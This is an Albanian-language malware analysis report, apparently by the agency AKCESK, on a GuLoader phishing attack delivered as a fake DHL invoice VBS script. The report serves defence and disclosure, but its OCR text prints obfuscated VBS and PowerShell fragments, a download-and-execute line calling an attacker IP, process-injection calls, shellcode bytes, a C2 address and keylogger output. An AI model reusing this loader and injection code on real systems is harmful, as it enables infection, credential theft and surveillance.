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Raporti éshté hartuar pér té dokumentuar dhe analizuar tentativa sulmesh kibernetike ndaj
infrastrukturave Kritike dhe té Réndésishme té Informacionit né Republikén e Shqipérisé.
Pérmbajtja e kétij raporti bazohet né informacionet e disponueshme deri né datén e pérfundimit
té analizés.

Pércjellja e kétij raporti ka pér géllim informimin dhe ndérgjegjésimin e paléve té interesuara
mbi indikatorét e sulmeve gé ndikojné tek Infrastrukturat Kritike dhe té Réndésishme té
Informacionit né Republikén e Shqipérisé. Raporti nuk duhet trajtuar si pérfundimtar deri né
pérditésimin final té tij.

Ky raport ka kufizime dhe duhet interpretuar me kujdes!
Disa nga kéto kufizime pérfshijné:

Faza e paré:
Burimet e informacionit: Raporti éshté bazuar né informacionet e evidentuara né momentin
e pérgatitjes sé tij. Ndérkohé, disa aspekte mund té jené té ndryshme nga zhvillimet aktuale.

Faza e dyté:

Detajet e analizés: Pér shkak té kufizimeve burimore, disa aspekte té skedarit keqdashés mund
té mos jené analizuar thellésisht. Cdo informacion shtesé i panjohur mund té reflektojé né
ndryshime té versioneve té raportit.

Faza e treté:

Siguria e informacionit: Pér t¢ mbrojtur burimet dhe informacionet konfidenciale, disa detaje
mund té jené té zbutura ose jo té pérfshira né raport. Ky vendim éshté marré pér té mbajtur
integritetin dhe siguriné e té dhénave té pérdorura.

AKCESK rezervon té drejtén pér té ndryshuar, pérditésuar, ose ndryshuar ¢farédo pjesé
té kétij raporti pa lajmérim paraprak.

Gjetjet e raportit bazohen né informacionin e disponueshém gjaté kohés sé hetimit dhe
analizés. Nuk ka garanci né lidhje me ndryshime té mundshme apo pérditésime té
informacioneve té raportuara gjaté periudhés né vijim. Autorét e raportit nuk marrin
pérgjegjési pér pérdorimin e gabuar ose pasojat e ndonjé vendimmarrijeje té bazuar né kété
raport.
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Pérmbledhje Ekzekutive

Raporti thekson nevojén pér vigjilencé dhe masa proaktive pérballé kércénimeve kibernetike
té sofistikuara, duke theksuar réndésiné e pérditésimeve té rregullta dhe zbatimit té praktikave
té rekomanduara té sigurisé pér té mbrojtur infrastrukturén kritike dhe té réndésishme té
informacionit.

Gjaté monitorimit aktiv, ekipi i SOC prané AKCESK ka evidentuar tentativa sulmesh drejt njé
prej infrastrukturave kritike té Republikés sé Shqipérisé. Kéto indikatoré u kaluan menjéheré
pér njé analizim mé té thelluar drejt ekipit té Drejtorisé sé Analizés sé Sigurisé Kibernetike.
Raporti pérmban detaje teknike si dhe indikatorét e kompromentimit gé u evidentuan nga
analiza e thelluar.

Né fund té raportit jané rekomandimet pérkatése té hartuara nga ekipi i Drejtorisé sé Analizés
sé Sigurisé Kibernetike.

Informacione Teknike

Phishing Email
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Figura 1: Zinxhiri i infektimit nga skedari keqdashés GuLoader
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Analiza e skedarit dhl_doc_awb_shipping_invoice_18 04 2024 _000000000000024[.]vbs

Skedari dhl_doc_awb_shipping_invoice_18 04 2024 _000000000000024[.]vbs me vleré hash
sha256:b312e71220b5¢1a59397380829978ee5e10404d28c9573f576459fdae6103507

éshté njé skedar i shkruajtur né Microsoft Visual Basic. Né pamje té paré skedari duket sikur
ka pjesé teksti té cilat jané pa informacion, por kjo éshté njé ményré e zhvilluar nga aktorét
keqdashés pér té béré sa mé té véshtiré analizén.

Evidentohet né skript njé variabél me emrin Forsdene dhe ruan vlerén e bashkuar té disa
karaktereve si mé poshté:

Forsderne = "po"™ + "w" + johannesburg + "rsh™ + johannesburg + "II' dhe
johannesburg = Chr(90+Improbabilities).

Funksioni Chr kthen vlerén nga unicode né format ASCII dhe kur e mbledh me variablin
Improbabilities kthehet né gérmén “e” dhe fjala e krijuar éshté powershell. Pra kuptojmé gé
tentohet té ekzekutohet njé komandé né powershell .

Gjithashtu kemi njé funksion me emrin Pantry si dhe inicializimin e njé variabli me emrin
Blissed:Set Blissed = CreateObject("*"WScript.Shell'*) e cila shérben pér té ekzekutuar pjesé
skripti té ndryshme si komanda powershelli.

fascistized = Blissed.Run(Subalternant,0)

Subalternant = Forsderne + ChrwW(34) + Lolloping + ChrW(34)

Komanda e Powershell dhe disa strings si parametra:

|=1 dhl_doc_awb_shipping_invoice_18_04_2024_000000000000024.vbs Ed |

342 'Flagdagene doktordisputatsens medicinmssig talblokkene krablendes optometrist karatene botcherly crus
343
344
345 Forbrugerombudsmnden = Now
346
347 End Function
348
349 Crotintidsrummetto = String(40,"R53")
'tryksvrten tailbone amalgam terrorhandlings fratrdendesl70; tippy jetsoms, originaldisketternes42 sko

Function Pantry

'Svirpendes, maadeligste fototek for
'Programhovedet? fetishic aandsnrvr

ystelsessyge tejn227. vgtforgelsen stdpudestaterns: afsaltede.
ns? p:oq:andoﬂuﬂentatione: meagreness udrustningens aandemanern

Figura 2: Wscript.Shell

'Muskats svejfersl08, genindkaldeslsens bambussers20 foolishly! hypnotiseret flittigs
end if
'Grundfladeradiussers deponeringsmuligheders effektiviseringen overlavishness ideold

'Vovehalse? absonant momentoes; tremasternesl7S grftekants? getatability83 forkortel
'Clasher: wvacuo2( staalstberiernes nonnotable anethene adonissers tuningssttenss; sl
Forsderne = "po" + "w" + johannesburd + "rsh" 4+ johannesburg + "11 "

'Dykkerdragts: glyvkose bogled!

Figura 3: Powershell.exe

Evidentohet njé nivel i larté fshehje pasi variablat marrin vlera né bazé té pérshkrimeve té
strings nga mé té ndryshmet, prandaj ményra mé e miré pér té kuptuar sjelljen mbetet duke e
ekzekutuar skedarin dhe duke e ndjekur me ané té debug. Vendoset njé breakpoint né
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variablin Subalterant dhe gjaté ekzekutimit evidentohet se variabli mban komandén e
Powershell-it dhe disa komanda té fshehura.

Variable >

MName: | Subalternant

Type: Strlng

Value: | “powershell "$Corporales = 1;$Unpopulously="Substrin’;$Unpopulously -
+="g Function Prvelsladtes($Umiri){$Makronen=$Umiri.Length-$Corporales;For
($Marsupialised=6; $Marsupialised -It $Makronen; $Marsupialised+=(7))
{$Dyrtidens+=%Umiri.$Unpopulously.lnvoke($Marsupialised,
$Corpora|e5):}$Dyrtidens:}function| Kalkning($Dictyostele){&

($Typifikationer) ($Dictyostele);}$tetrasporangia=Prvelsladtes
"abenpMPred.toGamb.izRoentgiSealevl.yksaklU, seveaTilkbs/In
motbAander.Propag0Gu,nen Thwart{amordWOmsk

fiSkjo,dnSupplidBrsberoF stedwSlangesScissi talmudM,ilberTLis nn
Gobbed1Vrelse0Sadach.Prl,di0Devola;Routew kraftfW.apindiAcut.rn.efrayb
Imama4Caontin;,anseg Unex.exlernbabHypode4 Rbest; Equim ProtaxrLn.ortvLuftfa;
Billi1 Fondn2 DvasTNonsu..ClubsiDHomewo) hloro

Add Watch OK Cancel

LA =

Figura 4: Powershell command

Tentojmé komandén né powershell dhe e kopjojmé né njé skedar .psl, ku nisim analizimin
duke e ekzekutuar pjesérisht pér té kuptuar sjelljen e skedaréve.
Né skedar evidentohen funksionet Kalkning dhe Prvelsldates:

function Kalkning($Dictyostele) {
& ($Typifikationer) ($Dictyostele);
}

Variabli $Typifikationer mbart vlerén iex (Invoke-Expression) dhe $Dictyostele merr si
parametér komandat qé né ekzekutim dalin nga fshehja népérmjet funksionit Prvelsldates.

Function Prvelsladtes($Umiri) { $Makronen = $Umiri.Length - $Corporales; For
($Marsupialised = 6; $Marsupialised -It $Makronen; $Marsupialised += (7)) { $Dyrtidens
+= $Umiri.$Unpopulously.Invoke($Marsupialised, $Corporales);

}$Dyrtidens;

}

Duke gené se kemi disa funksione gé thérrasin outputin e string, thirren né disa variabla pér té
paré géllimin gé ka ky skedar malinj.
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29 Kalkning (Prvelsladtes ‘Unnaiv$ChickwgBirthrlReligioFrisvmbUndisoatakstt] Petal:BorggakPlastrisloperpBl.mrapDisbure KarupkPq
30 Kalkning (Prvelsladtes 'L.niat$ Arma gHjlpeol dovesoNon,icbKonsulaFlorvilFis,yb:Grafiks Baghoosvrtstlskudvebbehandjclutchr
31 Kalkning (Prvelsladtes 'sSnrliv$.ematigShelvelHikulioDivulgbStjernaBl,mstlPhysia: H,vmoRS aadraMu,culr Svi gilLandskt Thermi
32 Kalkning (Prvelsladtes 'Ulyd,g$Gen ptgNirvanlb,gitnoDinglebRingataArbejd] Doses: GonotV ellera By lacTvangshOmnor esk.Tlefr}
33 $ri=Prvelsladtes 'region$Dryl.tg RoadelGen,anoApteribPortrtadronaslstr,kn: Guttup.eklemh Debaty ubernlMetasylIdoistoCarolld
34 $r2=Prvelsladtes 'Fstvid$beslgtg isektlBegmanoR.commbSaebeiaMisforlTheeli:FuldstAcivilkpvacuouh Vej,eoKalkunrSub,ini ejrud
35 $r3=prvelsladtes ' ulvk$Blyantg NonfelF actuoTheronbUncopyaMyoheml Nabot:.troboBRelatin.azehonT ykkeeFastsprTrafikuPl.nipy
36 $r4=Prvelsladtes ' Stenb3selvanBinpou,nma gann Roulle KammerkKlft.ruHalvtopPror.k. umpilHSmaaorePipespa Ponted Sabote Generi
37 $r5=Prvelsladtes ', krupl$ gle sg Tyvepl EkvipoThronebStanleaT morol Segge: HenteKSekstieTascautneutroo Lyso.hHalefie olon)
38 $ro=(Prvelsladtes 'Hjemme$Litt,rg,uticulSpeechoDatovebDiamanaPlatyclEnkedr:HaletuLSknskriPilhenkUndsttr Heyn,eForma,nSk,bsy
39 $r7=Prvelsladtes 'TvrsukSRaadsmtentozoa Acholr Arch t,ftepa-tavellsJumball,edlegeFlighteDatalipstoneh Regerid4Messme '

40 $r8=Prvelsladtes 'Leosop$GalliugRudd.elFahrenoNedsnkbD alysaBiogralBacons: UdspeKOmnormeHemolyt .oryio Unm nhStomaceKewyn, )
41 $r9=Prvelsladtes ' Weste$Fo,vrrgsigt.alvidnefoAntonebB stnkaUnyo.nlUnbann:ven.alUPetticnTritonasynergdsymphyjK.rthee solfrg
42 $ri0=prvelsladtes 'Unnaiv$chickwgBirthriReligioFrisvmbuUndisoatakstt] Petal:BorggakPlastrisloperpB]l.mrapDisbhure KarupkPo,ys
43 $ril=Prvelsladtes 'L.niat$ Arma gHjlpeol dovesoNon,icbKonsulaFlorvilFis,yb:Grafiks BaghooSvrtstlskudvebbehandjclutchr Inkbg
44 $ri2=(Prvelsladtes 'snrliv$.ematigShelvelHikulioDivulgbStjernaBl,mst1Physia: H,vmoRS aadraMu,culr Svi giLandskt ThermiNonrg
45 b Doses: GonotV ellera By lacTvangshOmnor esk.

46

iz

Figura 5: Modifikimi i skedarit

Nga outputet e variablave evidentohet se ekzekutohet komandé né Powershell e cila tenton té
shkarkojé njé skedar me emrin: Rkenstaten.dsp nga url http://94[.]156[.]79[.]64.

Kjo evidentohet nga variabli $Brujeria:

New-Object
System.Net.WebClient.DownloadFile(http://94.156.79.64/Rkenstaten.dsp,C:\Users\flare\
AppData\Roaming\Skotskterrierens.Kub).

Skedari ruhet né C:\Users\UserX\AppData\Roaming me emrin Skotskterrierens.Kub. Ky
skedar ka njé varg karakteresh shumé té gjaté gé né pamje té paré duket i enkoduar me base64.

=] skotskterrierenskub E1 |
| 6wJ9705CPhu7F1ENAOSC]LHrAIWZA1WKBOSCF1XrAVe fuXrnTIXrAi DH6WKQUAHKK1QPQUSCgaj rAKTVGCGWPLIOCQGh6WKEVOSCSChrA
grLutZspOdxAZtxAZvVrAkD1cQGbMcrrAsZWcQGbiRQLOWLTCesCdYZRANEBM+sC/ BmDWQRXAZtXAZUB+apxkgN8y3EBm+sC1+qLRCOE6WLQd3
EBm4nD6WLY] 0sCDq+BwwHINAPTA1PV6WLENTq0] 6k0cQGbcQGhbgeqKBNCcOCQGh6WLNKIHGBJI/R/ 3EBm3EBM+5CZz 9RXAZVIAL Fp6WKWC I SMEHEBM+SC
4 296JDBPrAp2tcQGbQusC2PTrArNHgfrQ6wQAddNXAZ tXAZUIKCQMEWLOLOSCFgSBTQADARDrAl SRCQGh1 1QkCHEBM+sCY56LECQECQGh6WKZSYnrcQGhe
‘ QGbgCOCARAACQGDCQGbU+SCY2ZXAZtIQ0SC3uZXAZUI63EBM+sCMOVHGWABAARAOKID6WKYaHEBm4HDAAEAROSCQKLrANO1U3EBM+sCCZ1iJ63EBm+ sCAdByJuw
1 QBAABXAZVIAVQKgCMEAQAACQGhCcQGhU3EBM+SCHIVq/+5C0OdrrAl 3rg8 IFcQGh6wITniH2 6wKgqOsC61AXyesCORHrAhwZixrrakd7cQGbQesCpGSXAZSSHAP183EB
1‘ m+sCvEpGEWK1rXEBm4BECvuddd3rAmkvewINQOtECVZrAuXZ 6WKoKSnwCQGhcQGh/ 9LrAtXTcQGbut DrBADrAmgF 6wJr DDHAGWK
| 5LusCCeGLECOMcQGbEWL1YOEB/WAINtxAZVTArw3g8AECQGb6WI1ninQdeTrAs FN6WKUFYnT 6WLIV3EBM/ /X 6wJ+FnEBMWrHiVI
ZXw3yR/93TV4rsVpIKXckAIUOvpeBPEID/ 3¢/ 4RxqWkkpdyQDp4mzTEX3VtX/dySJ990sPhQXa+6JbSw+S0MmorlsFtalCSos6Ck
cffGBJ/eACScmQgpquwEZqFWr3F2U+fSQDE/obSCZ/xAEu/2Ath/EAWm(VmevSQC3tum0CRprs/Sfek9EstTlSoAij4Iﬂ
| NopgBcVrUgT1P/QCIL1d4tiw60gHGVIEST/ 0A1FY1S/Faez5J2/WKK349hEHgC 252/ x1HF8agHVCxdOwL3]BDBh 1hfDa/AAMG3WdXNr BANViNO] 10vgADAD 1RCWyZaWM23+9JNvBAO] UeNFP2/WSS1RSZInb/|
lcmS1cyBTbmFra2vkZzxXMgSG9ib2t1biBPdmVyc2NvemUgSW502X It 2Xp6aXMgVinsjcm9zc2FibGVuzZXNz IFN1Y2Vzc21vbmFSIFNrbHIVZGVUIA==

Figura 6: Skotskterrierens.Kub

Né fund té skedarit vendosim njé breakpoint né variablin $Vacherin dhe evidentohet se kemi
pérséri njé pjesé script né powershell.

[DBG]: PS C:\Users\flare>> $vacherin

<#dedicer Costerdom Deputizes Table Molest brusehaners #-

$Makroners=Prvelsladtes 'catar,\ StuelsHelgejy gradus,pitrowProcraoImportw Ddked6Stinka4Monoc,\ T 1vtWN tetsi DiagonCir,usdTr skao.upr
$Prebesettingankboksen=Prvelsladtes 'entocopDubleaobylrnbwthiocyeSacquerRakkersMais,rhsa,meneNaboerlHypo,rilFoodi .gldelae Modtax.ftetb
$johanniter =Prvelsladtes 'Magpiee0,gelsxSukretiAntihutFo,stc '

Kalkning (Prvelsladtes ' skriv§Spreadg ,ardilskarksoWit.oub R,mjeaProgenlBankdi:IndhegkSanukiaC.itinlvabletiForgifu De.rkmUtopiecPrior
Kalkning (Prvelsladtes ' T enk§SportsgvaultslautotooThymolb Ev.rgaP ndullMurera: D,ckmSCordiatTriostrN,nspra Galaxa PostslDeclariOrtho:
Kalkning (Prvelsladtes *,iltnk$udbulegun erc]l Is smo Studib Cy.opa ,isprlDanger: Pent,NGrundooVagtsen Arnatp Hj,edhCincheo MuselbSkriv:
Kalkning (Prvelsladtes 'Encein§ etalgBaduhelBulk,goManifebSupersaglobehliuftig:EncyclAPre btc estufc oejleeMenubir OverpsArkin,eAffyr
Kalkning (Prvelsladtes ‘LeninsiMotivuf Kry,t Tlsyns(Havneb! Verde$AschehA dopticDelimecUnderweStridurIndrejsFro.teePicofa) Press{Gambar
if($Likrens -or $Accerse){

&$Kaliumcyanider $Nonphobic

Kalkning $johanniter

B

3
function Undisturbedness ($Philopoet,$Prebesetting) {
#Rundturers Spgelsetimernes shewers Tresindstyve Dipyrenous Supermechanically Ceratophrys Folkeskolelreres tilkrselsramper Kvalmes Hea

Figura 7: Stage 2 powershell script

Evidentohet se pérséri kemi njé nivel shumé té larté fshehjeje (teknika: obfuscation) té kodit
keqgdashés.

Gjaté ekzekutimit u evidentuan kéto variabla me ané té debugger:

$tetrasporangia > Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101
Firefox/121.0
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$Bedplates > User-Agent

$Spiderlike > http://94.156.79.64/Rkenstaten.dsp

$Hamamelidin > **>"

$Typifikationer > iex

$Knsdrifts > echo %appdata%o\Skotskterrierens.Kub && echo $

$Bnnerup = New-Object System.Net.WebClient

$Brujeria > New-Object
System.Net.WebClient.DownloadFile(http://94.156.79.64/Rkenstaten.dsp,C:\Users\flare\
AppData\Roaming\Skotskterrierens.Kub )

$phyllo > array me dy vlera : C:\Users\flare\AppData\Roaming\Skotskterrierens.Kub
dhe "&"
$Rapportgeneratorens > C:\Users\flare\AppData\Roaming\Skotskterrierens.Kub

$rl > phyllo = cmd /c echo Y%appdata%o\Skotskterrierens.Kub && echo $
$Bnnerup.Headers[$Bedplates]=$tetrasporangia

Kjo pérkthehet né: “Headers té objektit vendosen me vlerén Mozilla/5.0 (Windows NT 10.0;
Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0”.

$Demagnification > System.dll

$Townlet >Microsoft. Win32.UnsafeNativeMethods
$Timelofterness > GetProcAddress
$Floragraferende > ReflectedDelegate
$ldhhmandens > InMemoryModule
$Recompenses > Class, Public, Sealed, AnsiClass, AutoClass
$Morgenfriskes > Invoke

$Sukkerfrie >Public, HideBySig, NewsSlot, Virtual
$Hundene > VirtualAlloc

$sammenvoksningen > ntdll

$Fornjer > NtProtectVirtualMemory
$psychologism > User32

$Pyelocystitis > CallWindowsProcA

$MIt > Kernel32

$Brejning > user32

$Interfoliere > ShowWindow

Nga variablat e nxjerré nga fshehja mé sipér, arrihet né pérfundimin se po tentohet té béhet
injektim i njé pjesé kodi drejt njé procesi. Vazhdojmé me analizén e kodit dhe b&mé njé
modifikim duke shtuar Write-Output dhe fshijmé pjesén ku thirret funksioni. Dhe né
terminalin e powershell-it na shfaget njé listé e gjaté me komanda:
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PS C: \Users\f1are> (2= \User:\F]are\Degktop\Concatenated psl
$global:steevings = stem.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer ((Unexpended $M1t $Hundene), (Multinucleolated @([IntPtr]
[uInt32], [UInt32], fUInt32]) ([Intptr])g

$gToba1:Pneumatometry = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((Unexpended $Brejning $Interfoliere), (Multinucleola
ted @([IntPtr], [UInt32]) ([IntPtr])))

${Host}.UI.RawUI.WindowTitle = $Femaaret

$global:Overretssagfrer = (Get-Process | Where-Object { $_.MainWindowTitle -eq $Femaaret })

$global:Fletkommandoernes = $Overretssagfrer.MainwindowHandle

$Pneumatometry. Invoke($Fletkommandoernes, $udbringningsgebyrs)

$global:Stabilised = $steev1ngs Invoke($udbringningsgebyrs, 664, $PhilopoetllocType, $PhilopoetllocProt)

$global:Maximisations = $steevings.Invoke($Udbringningsgebyrs, 61001728, SPh11opoet11ocType, $Philopoet1locrw)

[System Runtime. InteropServ1ces Marshal]: :Copy($Solbjrg203, SUdbr1ngn1ngsgebyT5, $Stabilised, 664)

System.Runtime.InteropServices.Marshal]: :Copy($Solbjrg203, 664, $Maximisations, $Mata(h1n35207)

$g{oba1:A1by1erne5220 = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer ((Unexpended $psychologism $Pyelocystitis), (Multinuc
Teolated @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([IntPtr])))
$Albylernes220.Invoke($Stabilised, $Maximisations, $Referralsi85, $udbringningsgebyrs, $udbringningsgebyrs)

Figura 8: Kopjimi i shellcode né njé process

Shndérrimi i stringjeve té koduara me base64 né byte: Skripti pérdor njé varg té koduar me
base64, e shndérron né byte dhe pérdor kéto byte pér té krijuar njé hapésiré né memorie.
Krijohet njé ripozicionim i ri. Kéto funksione pérfshijné VirtualAlloc, CreateThread, dhe
WaitForSingleObject.

Diferenca né rastin toné éshté variabli i enkoduar me base64 éshté skedari gé ruhej né
%appdata%\Skotskterrierens.Kub.

fg1oBa1:Rarifies :-[System.Text.Encoding]::ASCII.GetString(iSoTbjrgZOB)

[DBG]: PS C:\Users\flare>> $ril
$global:Solbjrg203 = [System.Convert]::FromBase64String(3Kippekalv)

[DBG]: PS C:\Users\flare>> $Kippekalv
6wJ19310sCPhu7F1ENAOSCILHrA1 wZ AlwkBOsCF 1XrAve fuXrnT9XrAiDH6WKQU4HXKiQPQusCgaj rAk TvgcGwPL9ocQGbbwKevOsCsChragrLutZsp0dxAZ txAZvrAkD]cQGbMcr|

Figura 9: Base64 encoded

Qéllimi éshté vendosja e shellcode Guloader né memorie.

Pér ta kuptuar se ku ndodhet shellcode i paré duhet té ndjekim vijén llogjike duke ekzekutuar
variablat hap pas hapi dhe dalim né pérfundimin se:

Nga byte 0 deri né 664 ndodhet shellcode. Dhe tani na duhet té gjejmé adresén se ku
alokohet ky shellcode. (KUJDES!) sa heré gé do e ekzekutojmé skedarin adresa do
ndryshojé gjithmoneé.

158 #Psychiatrist Consanguineously Superuser Nonpickable Kunsthaa
159 rorschachprvers 'B1B993999E8F87C4B89F849E83878FC4A3849E8F98859
160 #Ancon Diamantslibers forskningsafdelingen Vandalens Uniphase
161 rorschachprvers 'CE8D8685888B86D0AB868893868F98848F99D8DSDACAN
162 #Vibecke Escribed Forfarens Eksaw1natovens Jtruwme1 Ove:der1d1
163 EABS 8 9D8DS X

164

165 Sr4A””

124846080

[DBG]: PS C:\Users »>> $Stabilised.ToString("X")
7710000

[DBG]: PS C:\Users »> $Matachinas207
321487

[DBG]: PS C:\Users\ > $Makroners
\syswow64\WindowsPower Shell\vl. 0\powershell. exe

[DBG]: PS C:\Users)\ >> $Stabilised.ToString("x")
7710000

Figura 10: Adresa e ripozicionuar
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Nga investigimi né mjetin x64dbgr lidhim procesin e powershellit gé éshté duke u ekzektuar si
dhe vendosim njé breakpoint né adresén e gjetur.

# | 07710000 vrEB 02 Jjmp 7710004
| ------ e | 07710002 v[m 24 jge 7710028
! I . vLEB 02 jmp 7710008
3E:1BBB 16510D00 sbb edi,dword ptr ds:[ebx+D5116]
- v EB 02 jmp 7710011
i . D4 Bl aam 81
i e v EB 02 jmp 7710015
i | 2c 19 sub al,19
| ——e 035C24 04 add ebx,dword ptr ss:[fesp+4]
! v EB 02 jmp 771001D
5 16 push ss
' 55 push ebp
! t v EB 02 jmp 7710021
0 F79F B97AE74F neg dword ptr ds:[edi+4FE77ABI]
i D5 EB aad EB
T omien 0220 add ah,byte ptr ds:[eax]
Cc7
— v EB 02 jmp 771002E
20 nop
53 push ebx
81F1 2A240F42 Xor ecx,420F242A
I v EB 02 jmp 7710038
—e 81A8 EBO244EF 81C1B0j sub dword ptr ds:[eax-10BBFD15],3CBOC1S
BF 68710198 mov edi,9B017168
° v EB 02 jmp 7710049
° 9E sahf
ad BC EBO2B0O26 mov esp,26B0O02EB
v EB 02 jmp 7710051
. 0ACB or cl1,bl
>0 BA DG66CA4E7 mov edx,E7A46CD6
ro=== v 71 01 jno 7710059
| . 98 fwait
0 v 71 01 jno 771005C
| . 98 fwait
L . v EB 02 jmp 7710060
° 40 inc eax
e — E5 71 in eax,71
3 0198 31CAEBO2 add dword ptr ds:[ebx+2EBCA31],ebx
° c6
oo 56 push esi

Figura 11: Adresa e Shellcodit

Krijojmé njé dump né memorie dhe shohim né figurén mé poshté shellcode gé injektohet.

T ST = OO CONpP & OO CONpP o OO O T OO COmpP I o YVOTT T =t AR

Address | Hex ASCII

07710000|EB 02 7D 24 |EB 02 3E 1B(BB 16 51 0OD|00 EB 02 D4|&.}%$é.>.».Q..&.0
07710010(B1 EB 02 2C |19 03 5C 24|04 EB 02 16|55 EB 02 F7|xé.,..\$.8..Ué.=
07710020 | 9F B9 7A E7|4E DS EB 02/20 C7 ER 02(90 53 81 F1|.'zco0&. Cé..S.n
07710030|2A 24 OF 42(EB 02 81 A8|EB 02 44 EF|81 C1 BO 3C|*$.Bé.. &.Di.A°<
07710040 |BF 68 71 01|98 EB 02 9E|BC EB 02 BO|26 EB 02 0A|;hg..&..%&. &&..
07710050 |CB BA D& GC|A4 E7 71 01|98 71 01 9B|EB 02 40 E5|E°01H8c¢q..q..&.@4
07710060|71 01 9B 21|CA EB 02 C6(56 71 01 98|89 14 OB EB|q..1EE.4vQ..... =
07710070|02 D3 09 EB(02 75 8C D1|E2 71 01 9B|EB 02 FF C9|.0.&.u.Naqg..&.yE
07710080|83 C1 04 71|01 98B 71 01(98B 81 F9 AA|71 92 03 7C|.A.qQ..q...u2q.. |
07710090 |CB 71 01 9B|EB 02 D7 EA|8B 44 24 04|EB 02 DO 77 |EqQ..&.x&.D$.&.Dw
077100A0|71 01 9B 89(C3 EB 02 FD|8C EB 02 OE|AF 81 C3 01|g...A&.y.&.. .A.
077100BO|FD 34 03 EB|02 53 EF EB|02 FA 37 BA|8E 8F A9 QE|y4.&.57e.u7°..8.
077100C0| Z ] Z1l|/01 98 81 EA|8A FO D7 OE|71 01 9B EB|Q..q...&.0%.q..&
077100D0| 02 E7 28 81|EA 04 9F D1|FF 71 01 98|71 01 9B EB|.c(.&..Nyqg..q..é&
077100E0 |02 CF D4 71|01 98 EB 02|D1 62 EB 02|96 08 88 0C|.I0q..&.Ni&.....
077100F0|10 71 01 9B|EB 02 DB DE|89 0OC 13 EB Z1|.q..e.0p...é...q

.
nzxzanranloar _oan an rolon o rca colon na a3 oalca Do co 04 DA _OAAA _Ac LD

Figura 12: Shellcode

Mé pas vazhdojmé me procesin dhe do shohim procesin legjitim Wab.exe i cili do té hapet dhe
do béjé njé lidhje me IP  command and control: 193[.].222[.].96[.]11

TCP

1824 Established 10502 63098 193.222.96.11 57484 4/22/2024 20420 PM  wab.exe

Shellcode éshté béré inject né njé process legjitim. Gjithashtu nése hapim skedarin
C:\Users\UserX\AppData\Roaming do té evidentohet njé skedar i krijuar nga ky process me
emrin klgbvnspt.dat. Ky skedar ruan té gjitha veprimtarité nga pérdoruesi gé bén né
kompjuterin e tij (Keylogger).
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=] kigbvnsptdat E3

[2024/04/23 15:46:18 offline Keylogger Started]

[2024/04/23 15:46:18 C:\Users\flare\Desktop\240418-sh4g7sgd46_pw_infected (1)\dhl doc_awb_shipping invoice_ 18_04_202]
[2024/04/23 15:46:21 Search]

[2024/04/23 15:46:25 C:\Users\flare\Desktop\240418-sh4g7sgd46_pw_infected (1)\dhl doc_awb_shipping invoice_ 18_04_202]
{2321/04/23 15:46:26 Search]

run[Enter]

[2024/04/23 15:46:27 Run]
$ [BckSp] $APPDATA% [Enter]

[2024/04/23 15:46:30 Program Manager]

[2024/04/23 15:46:30 C:\Users\flare\AppData\Roaming]
keylogger

Figura 13: Keylogger

Shellcode i1 béré inject e nxjerrim nga ekzekutimi i skedarit keqdashés né sandbox té
automatizuar.
http://94[.]156][.]79[.]64/cMkeRMn30.bin e cila injektohet né wab.exe.

GET nttp://94.156.79.64/cMkeRMn30.bin WAB.EXE ~

Figura 14: cMkeRMn30.bin

Indikatorét e kompromentimit

HASH-ET :
e dhl_doc_awb_shipping_invoice_18 04 2024 000000000000024[.]vbs
e sha256:h312e71220b5¢1a59397380829978ee5e10404d28¢c9573f576459fdae6103507

e 193[.].222[.].96[.]11 C2

e http://94.156.79.64/Rkenstaten.dsp
e http://193.222.96.149/Rkenstaten.dsp
o http://94[.]156][.]79[.]64/cMkeRMn30.bin

Adresa: Rruga “Papa Gjon Pali II” nr.3, Tiran€; www.cesk.gov.al
info@cesk.gov.al; Tel./Fax : 04 2221 039
11


http://www.cesk.gov.al/
mailto:info@cesk.gov.al

Teknikate MITRE ATT&CK

Nr.

Taktika

Teknika

Initial Access (TA0001)

T1566: Phishing

T1566.001: Spear phishing
Attachment

Execution (TA0002)

T1053.005: Scheduled Task

T1204.002: Malicious File

Persistence (TA0003)

T1547.001: Registry Run Keys/
Startup Folder

T1053.005: Scheduled Task

Privilege Escalation (TA0004)

T1140: Deobfuscation

T1055.012: Process Hollowing

T1053.005: Scheduled Task

Defense Evasion (TA0005)

T1564.001: Hidden Files and
Directories

TA1562.001: Disable or Modify Tools

T1055.012: Process Hollowing

T1564.003: Hidden Window

Credential Access (TA0006)

T1555.003; Credentials from
WebBrowser

TA1552.001: Credentials in files

TA1552.002: Credentials in registry

Discovery (TA0007)

T1087.001: Local Account

T1057: Process Discovery

T1082: System Information Discovery

Collection (TA0009)

T1560: Archive Collect Data

T1217: Browser Information
Discovery

T1115: Clipboard Data

T1005: Data from Local System

Exfiltration (TA0010)

T1048.003 — Exfiltration Over
Unencrypted NON Command-and-
Control Protocol

Command and Control (TA0011)

T1071.003: Mail Protocols
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Rekomandime

AKCESK rekomandon:

Bllokimin e menjéhershém té Indikatoréve t¢ Kompromentimit, t& pérmendura mé sipér né
pajisjet tuaja mbrojtése.

Analizimin e vazhdueshém té logeve gé vijné nga SIEM (Security information and Event
Management).

Trajnimin e stafit jo-teknik rreth sulmeve “Phishing” si dhe ményrat ¢ shmangies sé
infektimit prej tyre.

Instalimin e pajisjeve té perimetrit té rrjetit qé béjné analizé té thellé té trafikut duke u
mbéshtetur jo vetém né rregullat e listave té aksesit por edhe né sjelljen e tij (Firewall-et
NextGen).

Sistemet e evidentuara té segmentohen né VLAN-¢ té ndryshme, duke aplikuar “Access
control list pér t€ gjith€ perimetrin e rrjetit”, webserviset duhet té jené t€ ndaré nga Databaza
e tyre, Active Directory duhet té jeté né njé VLAN té ndaré.

Aplikimin dhe pérdorimin e teknikés LAPS pér sistemet Microsoft, pér menagjimin e
fjalékalimeve t&€ Administratoréve Lokal.

Té aplikohen filtra té trafikut né rastin e aksesimit né distancé té hosteve (punonjésve/palé
té treta/klienté).

Té implementohen zgjidhje gé kryen filtrimin, monitorimin dhe bllokimin e trafikut
keqdashés ndérmjet aplikacioneve Web dhe internetit, Web Application Firewall (WAF).
T€ kryhen analiza t€ trafikut n€ nivel sjellje “behaviour” pér pajisjet fundore, aplikimi i
zgjidhjeve EDR, XDR. Kjo sjell analizén e skedaréve keqdashés jo vetém né nivel signature
por dhe né nivel behaviour.

